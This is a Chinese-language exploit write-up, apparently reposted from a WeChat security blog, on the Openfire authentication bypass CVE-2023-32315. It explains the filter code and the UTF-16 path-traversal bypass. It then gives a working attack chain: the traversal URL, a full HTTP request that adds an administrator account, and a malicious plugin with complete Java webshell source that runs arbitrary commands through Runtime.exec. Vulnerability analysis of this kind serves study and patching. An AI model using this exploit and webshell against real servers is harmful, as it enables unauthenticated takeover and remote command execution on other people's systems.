一、漏洞描述
Openfire 的管理控制台(Admin Console)是一个基于 Web 的应用程序,被发现容易受到通过设置环境进行的路径遍历攻击。 这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境,以访问为管理用户保留的 Openfire 管理控制台中的受限页面。
二、影响版本
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire < 4.7.5
三、漏洞详情
Openfire 于2008年存在漏洞 CVE-2008-6508,攻击者可以利用/setup/setup-/../../[page].jsp来绕过权限校验并访问任意后台页面,Openfire通过增加对 url 中 ".." 和 "%2e"的检测修复此漏洞。CVE-2023-32315为此漏洞的再次绕过。
github查看修复内容
https://github.com/igniterealtime/Openfire/commit/bef928fc92d0c0185ee8a8408b7c33e5170ae395
修改了 xmppserver/src/main/webapp/WEB-INF/web.xml 文件,将 setup/setup-* 去除,此文件为配置文件,此处配置 filter,对应 filter 为 org.jivesoftware.admin.AuthCheckFilter
,查看 fiter,主要为以下两个方法
//doFilter 为 filter 过滤方法
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException
{
//获取request response 并添加 header 头
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)res;
// Do not allow framing; OF-997
response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
// Reset the defaultLoginPage variable
String loginPage = defaultLoginPage;
if (loginPage == null) {
loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp" );
}
// Get the page we're on:
String url = request.getRequestURI().substring(1);
if (url.startsWith("plugins/")) {
url = url.substring("plugins/".length());
}
// See if it's contained in the exclude list. If so, skip filter execution
boolean doExclude = false;
//此处 excludes 为之前配置文件中配置的部分
for (String exclude : excludes) {
//调用 testURLPassesExclude()
if (testURLPassesExclude(url, exclude)) {
//doExclude 为 true
doExclude = true;
break;
}
}
// testURLPassesExclude() 返回true 不进入 if
if (!doExclude) {
WebManager manager = new WebManager();
manager.init(request, response, request.getSession(), context);
boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage, null));
return;
}
}
chain.doFilter(req, res);
}
/**
* Returns true if a URL passes an exclude rule.
*
* @param url the URL to test.
* @param exclude the exclude rule.
* @return true if the URL passes the exclude test.
*/
public static boolean testURLPassesExclude(String url, String exclude) {
// If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
// If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
//exclude 以 * 结尾进入,当 exclude 为 setup/setup-* 进入if
if (exclude.endsWith("*")) {
//传递进来 url 以 setup/setup- 开头进入if
if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
// Now make sure that there are no ".." characters in the rest of the URL.
//url 中不包含 .. 和 %2e 返回 true,可绕过此 filter 过滤
if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
return true;
}
}
}
else if (exclude.contains("?")) {
if (url.equals(exclude)) {
return true;
}
}
else {
int paramIndex = url.indexOf("?");
if (paramIndex != -1) {
url = url.substring(0, paramIndex);
}
if (url.equals(exclude)) {
return true;
}
}
return false;
}
因为内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,故可以使用UTF-16字符来绕过路径穿越防护,重新利用路径穿越漏洞/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp
四、漏洞利用
1、漏洞测试
访问/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
,发现存在漏洞
2、添加管理员用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
注:
修改其中 csrftoken
此处返回异常,但用户已添加,登录test/test
3、上传恶意插件 jar 包 getshell
修改开源插件https://github.com/igniterealtime/openfire-fastpath-plugin
src/web/WEB-INF/web.xml
<!-- Servlets -->
<servlet>
<servlet-name>ImageServlet</servlet-name>
<servlet-class>org.jivesoftware.openfire.fastpath.ImageServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>SoundServlet</servlet-name>
<servlet-class>org.jivesoftware.openfire.fastpath.SoundServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>WebshellServlet</servlet-name>
<servlet-class>org.jivesoftware.openfire.fastpath.WebshellServlet</servlet-class>
</servlet>
<!-- Servlet mappings -->
<servlet-mapping>
<servlet-name>ImageServlet</servlet-name>
<url-pattern>/getimage</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>SoundServlet</servlet-name>
<url-pattern>/getsound</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>WebshellServlet</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
org/jivesoftware/openfire/fastpath/WebshellServlet.java
package org.jivesoftware.openfire.fastpath;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.beans.Expression;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class WebshellServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try{
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()){
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
StringBuilder sb = new StringBuilder();
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s;
while ((s = stdInput.readLine()) != null) {
sb.append(s).append("n");
}
resp.getWriter().print(sb);
}
} catch (ServletException | IOException e) {
throw e;
}catch (Exception e){
resp.getWriter().write(e.getMessage());
}
}
}
打包为jar后上传jar
访问shell
http://192.168.0.104:9090/plugins/shell/shell?cmd=whoami
原文始发于微信公众号(白给信安):CVE-2023-32315 Openfire管理后台认证绕过漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论